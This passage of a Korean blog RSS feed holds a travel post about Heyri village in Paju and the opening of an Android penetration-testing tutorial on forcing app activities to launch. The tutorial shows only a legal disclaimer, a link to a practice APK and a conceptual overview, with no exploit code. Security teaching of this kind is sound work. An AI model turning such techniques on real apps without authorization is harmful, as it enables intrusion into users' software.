data-widthpercent=&quot;30.01&quot; data-filename=&quot;IMG_2394.jpeg&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;5712&quot; data-origin-width=&quot;4284&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/deOzS5/btsKvIsHtqr/eySP0dBaMpM26mTQJe3kek/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdeOzS5%2FbtsKvIsHtqr%2FeySP0dBaMpM26mTQJe3kek%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4284&quot; height=&quot;5712&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkoUPX/btsKuJlIgeZ/hSlXPcZ1ZragVrV5JmGsgk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkoUPX/btsKuJlIgeZ/hSlXPcZ1ZragVrV5JmGsgk/img.jpg&quot; style=&quot;width: 29.2849%;&quot; data-widthpercent=&quot;29.98&quot; data-filename=&quot;IMG_2395.jpeg&quot; data-origin-height=&quot;1572&quot; data-origin-width=&quot;1178&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkoUPX/btsKuJlIgeZ/hSlXPcZ1ZragVrV5JmGsgk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkoUPX%2FbtsKuJlIgeZ%2FhSlXPcZ1ZragVrV5JmGsgk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;1572&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;날씨도 좋았던 헤이리 마을&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;헤이리 마을에 도착하니 점심시간이 되어서 &quot;불고기&amp;amp;비빔밥&quot; 에서 점심을 먹었다.&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;불고기앤비빔밥&lt;/b&gt;&lt;br /&gt;✔ 위치 : 경기 파주시 탄현면 헤이리마을길 48-20 2층 불고기앤비빔밥&lt;br /&gt;&amp;nbsp; - 헤이리마을 10번gate 갈대광장, 여행스테이션(안내소) 앞&lt;br /&gt;✔ 영업시간 : 평일 10:00~15:00, 주말 10:00~19:30, 월요일 휴무&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;99C1F21D-224A-4C43-A6B6-D0622599E771_1_105_c.jpeg&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz8dWp/btsKu95pzPu/KG2THwBrrM3IFdEQlukxKk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz8dWp/btsKu95pzPu/KG2THwBrrM3IFdEQlukxKk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz8dWp/btsKu95pzPu/KG2THwBrrM3IFdEQlukxKk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz8dWp%2FbtsKu95pzPu%2FKG2THwBrrM3IFdEQlukxKk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;609&quot; data-filename=&quot;99C1F21D-224A-4C43-A6B6-D0622599E771_1_105_c.jpeg&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;날씨도 좋고 사람이 많지 않아 밖에 보이는 테라스 석에서 먹었다. 나올때 보니 가족단위 손님이 많이 있었다. 음식 맛은 자극적이지 않고 좋았다. 쭈꾸미 비빔밥은 매울 것 같아서 피했는데 맵지 않았다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;식사 후 마을 구경도 하면서 산책도 하다 보니 다양한 전시와 소품샵이 많이 있었다. 아무데나 들어가도 아기자기한 소품들이 많았고 취향에 맞다면 기념으로 사는 것도 좋을 것 같다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;잇츠콜라박물관&lt;/b&gt;&lt;br /&gt;✔ 위치 : 경기 파주시 탄현면 헤이리마을길 76-40&lt;br /&gt;✔ 운영시간 : 11:00~19:00, 매달 두번째 화요일 휴무&lt;br /&gt;✔ 요금 : 박물관입장료 3900원, 변동&lt;/blockquote&gt;
&lt;p&gt;&lt;iframe mapdata=&quot;addr=%EA%B2%BD%EA%B8%B0%EB%8F%84%20%ED%8C%8C%EC%A3%BC%EC%8B%9C%20%ED%83%84%ED%98%84%EB%A9%B4&amp;amp;addtype=1&amp;amp;confirmid=&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A434030%2C%22mapCenterY%22%3A1191298%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=434030&amp;amp;mapY=1191298&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=4148032000&amp;amp;tel=&amp;amp;title=&quot; src=&quot;/proxy/plusmapViewer.php?id=maps_1731421542862&quot; id=&quot;maps_1731421542862&quot; width=&quot;540px&quot; height=&quot;350px&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; data-ke-type=&quot;map&quot; data-maps-data=&quot;addr=%EA%B2%BD%EA%B8%B0%EB%8F%84%20%ED%8C%8C%EC%A3%BC%EC%8B%9C%20%ED%83%84%ED%98%84%EB%A9%B4&amp;amp;addtype=1&amp;amp;confirmid=&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A434030%2C%22mapCenterY%22%3A1191298%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=434030&amp;amp;mapY=1191298&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=4148032000&amp;amp;tel=&amp;amp;title=&quot; data-maps-thumbnail=&quot;https://ssl.daumcdn.net/map3/staticmap/image?center=434030%2C1191298&amp;amp;lv=4&amp;amp;size=540x350&amp;amp;srs=WCONGNAMUL&amp;amp;&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;따로 가려고 한 곳을 정하고 간 곳은 아니고 발걸음 닿는대로 다니다가 발견한 콜라박물관이다. 식당 바로 앞에 위치하고 있으면서도 외부에서부터 콜라박물관임을 드러내고 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1015DBDC-95D3-440B-ACC9-1CADF084B6D1_4_5005_c.jpeg&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnTafD/btsKvITJrWF/fD1KgRipOLmUxMYQwrbea1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnTafD/btsKvITJrWF/fD1KgRipOLmUxMYQwrbea1/img.jpg&quot; data-alt=&quot;잇츠콜라박물관&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnTafD/btsKvITJrWF/fD1KgRipOLmUxMYQwrbea1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnTafD%2FbtsKvITJrWF%2FfD1KgRipOLmUxMYQwrbea1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot; data-filename=&quot;1015DBDC-95D3-440B-ACC9-1CADF084B6D1_4_5005_c.jpeg&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;잇츠콜라박물관&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;메인 매표소도 운영하고 있지만 자유롭게 전시 구역에 가서 현장 결제 후 이용해도 된다. 1층은 콜라 관련 소품샵, 지하로 내려가면 콜라박물관이다. 박물관 입장료는 4000원 정도 계산하면 따로 안내해주신다. 입장권을 계산하면 콜라곰 뱃지나 부채 등을 기념품으로 고를 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Z0fAG/btsKuOHc5jC/8OjBgpChkBrm7XA2ZS7JI0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Z0fAG/btsKuOHc5jC/8OjBgpChkBrm7XA2ZS7JI0/img.jpg&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;28287A09-6CBD-408E-B991-0C74EA8A9F7B_4_5005_c.jpeg&quot; data-origin-height=&quot;480&quot; data-origin-width=&quot;360&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z0fAG/btsKuOHc5jC/8OjBgpChkBrm7XA2ZS7JI0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZ0fAG%2FbtsKuOHc5jC%2F8OjBgpChkBrm7XA2ZS7JI0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ui0Uc/btsKvbWsDe2/Bu8P7du4hbyMEkGB5kwvIK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ui0Uc/btsKvbWsDe2/Bu8P7du4hbyMEkGB5kwvIK/img.jpg&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;DB49CD31-BBEE-4F76-BA0C-719738C36D85_4_5005_c.jpeg&quot; data-origin-height=&quot;480&quot; data-origin-width=&quot;360&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ui0Uc/btsKvbWsDe2/Bu8P7du4hbyMEkGB5kwvIK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fui0Uc%2FbtsKvbWsDe2%2FBu8P7du4hbyMEkGB5kwvIK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;1층&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;박물관으로 내려가면 콜라밖에 없다. 사진을 찍을 수 있게 곳곳에 삼각대도 놓여있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccRUdU/btsKvdmp4q4/zB9rfQ52tbGeY35jC3aSy0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccRUdU/btsKvdmp4q4/zB9rfQ52tbGeY35jC3aSy0/img.jpg&quot; style=&quot;width: 32.5397%; margin-right: 10px;&quot; data-widthpercent=&quot;33.31&quot; data-filename=&quot;F75A15A9-7D20-4F1F-8324-EBF8C0352BDF.jpeg&quot; data-origin-height=&quot;1572&quot; data-origin-width=&quot;1178&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccRUdU/btsKvdmp4q4/zB9rfQ52tbGeY35jC3aSy0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccRUdU%2FbtsKvdmp4q4%2FzB9rfQ52tbGeY35jC3aSy0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;1572&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LpiDR/btsKvhWy1ud/9xQeKkmVwKEiMcvaS6jsU0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LpiDR/btsKvhWy1ud/9xQeKkmVwKEiMcvaS6jsU0/img.jpg&quot; style=&quot;width: 32.5673%; margin-right: 10px;&quot; data-widthpercent=&quot;33.34&quot; data-filename=&quot;67A31D14-62E3-4205-8753-E45C6C34B782_1_102_o.jpeg&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;2048&quot; data-origin-width=&quot;1536&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LpiDR/btsKvhWy1ud/9xQeKkmVwKEiMcvaS6jsU0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLpiDR%2FbtsKvhWy1ud%2F9xQeKkmVwKEiMcvaS6jsU0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTP1YE/btsKujAVfR4/8AuXqRYpBS5YNOhA6fBBB1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTP1YE/btsKujAVfR4/8AuXqRYpBS5YNOhA6fBBB1/img.jpg&quot; style=&quot;width: 32.5673%;&quot; data-widthpercent=&quot;33.35&quot; data-filename=&quot;8F1B7EDB-1CA3-4B48-A2CB-B64190A22C35_1_102_o.jpeg&quot; data-origin-height=&quot;2048&quot; data-origin-width=&quot;1536&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTP1YE/btsKujAVfR4/8AuXqRYpBS5YNOhA6fBBB1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTP1YE%2FbtsKujAVfR4%2F8AuXqRYpBS5YNOhA6fBBB1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;콜라박물관 지하&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그 외에도 여기저기 돌아다니면서 소품샵 구경, 다른 전시회도 구경하면서 마을을 돌아다녔다. 마을이 생각보다 크기 때문에 한번에 다 보기에는 힘들다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zMWVz/btsKtQsr7mk/5Cd96WcKm2Bt3wKA6XjTJ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zMWVz/btsKtQsr7mk/5Cd96WcKm2Bt3wKA6XjTJ0/img.jpg&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;76DF4AEA-B9A7-4B9B-94AE-71BA594C508B_1_102_o.jpeg&quot; data-origin-height=&quot;1772&quot; data-origin-width=&quot;1772&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zMWVz/btsKtQsr7mk/5Cd96WcKm2Bt3wKA6XjTJ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzMWVz%2FbtsKtQsr7mk%2F5Cd96WcKm2Bt3wKA6XjTJ0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1772&quot; height=&quot;1772&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JhZWH/btsKvptpx1Z/HkMQREfryc3gO54yGtpKPK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JhZWH/btsKvptpx1Z/HkMQREfryc3gO54yGtpKPK/img.jpg&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;53F9DB2E-6495-4008-B6C7-011289F18BE6_1_102_o.jpeg&quot; data-origin-height=&quot;1772&quot; data-origin-width=&quot;1772&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JhZWH/btsKvptpx1Z/HkMQREfryc3gO54yGtpKPK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJhZWH%2FbtsKvptpx1Z%2FHkMQREfryc3gO54yGtpKPK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1772&quot; height=&quot;1772&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;파주 공룡 박물관&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;나오면서는 공룡 박물관도 보이고, 카페나 공방도 많이 있었다. 다음을 기약하며 헤이리마을은 나왔다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;2편에 계속&lt;/p&gt;</description>
      <category>Travel/당일치기</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/264</guid>
      <comments>https://gomguk.tistory.com/264#entry264comment</comments>
      <pubDate>Tue, 12 Nov 2024 23:26:10 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 액티비티 강제 실행</title>
      <link>https://gomguk.tistory.com/263</link>
      <description>&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;직접 연구하여 작성한 자료입니다. 공식 출처가 명시되지 않은 자료의 무단 복제, 사용을 금지합니다.&lt;br /&gt;공격 기법은 학습용, 허가된 환경에서 실습 바랍니다. 실 운영망 대상 공격은 처벌받습니다. (정보통신망법 제48조 1항)&lt;br /&gt;학습자료 apk파일은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://github.com/colfax0483/Vulnerable_apk&quot;&gt;https://github.com/colfax0483/Vulnerable_apk&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;에서 clone할 수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;안드로이드 앱 환경은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;PC&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;환경과 다르게 사용자와 앱의 상호작용이 항상 동일한 위치에서 시작하지 않는다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;일반적인 프로그래밍에서 메인&lt;span&gt;(main)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수부터 실행하는 것과 달리 안드로이드 시스템은 액티비티별 생명주기에 따른 단계별 콜백 함수 통해 앱 코드를 실행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;선언된 콜백 함수는 액티비티 클래스에서 관리된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기존에 실행중인 앱&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;'A'&lt;/span&gt;에서 다른 앱&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;'B'&lt;/span&gt;의 특정 액티비티를 직접 호출할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;B&lt;/span&gt;앱의 기본 시작점이 아닌&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;특정 목적을 가진 액티비티를 직접 실행하는 것을 의미한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;전화 앱을 일반적으로 실행시켰을 때에는 다이얼 패드가 나타나는 화면이 표시된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;하지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;지도 앱이나 다른 앱에서 전화번호를 터치해서 전화 앱을 실행하면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;전화번호가 이미 입력되어 있는 전화 걸기 직전 화면이나&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;전화를 발신하는 액티비티로 바로 이동할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱에는 여러 화면이 포함되어 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;화면은 여러 액티비티로 구성된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;구성된 액티비티는 메타데이터 파일인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;AndroidManifest.xml&lt;/span&gt;에 앱 구성 요소의 정보와 함께 정의된다&lt;span&gt;. &amp;lt;activity&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;태그는 액티비티 구성 요소를 선언하는 데 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;하지만&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;activity&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;태그 속성을 적절하게 설정하지 않거나 액티비티 실행 시 정상 실행 여부를 검증하지 않으면 액티비티 강제 실행 취약점이 발생할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
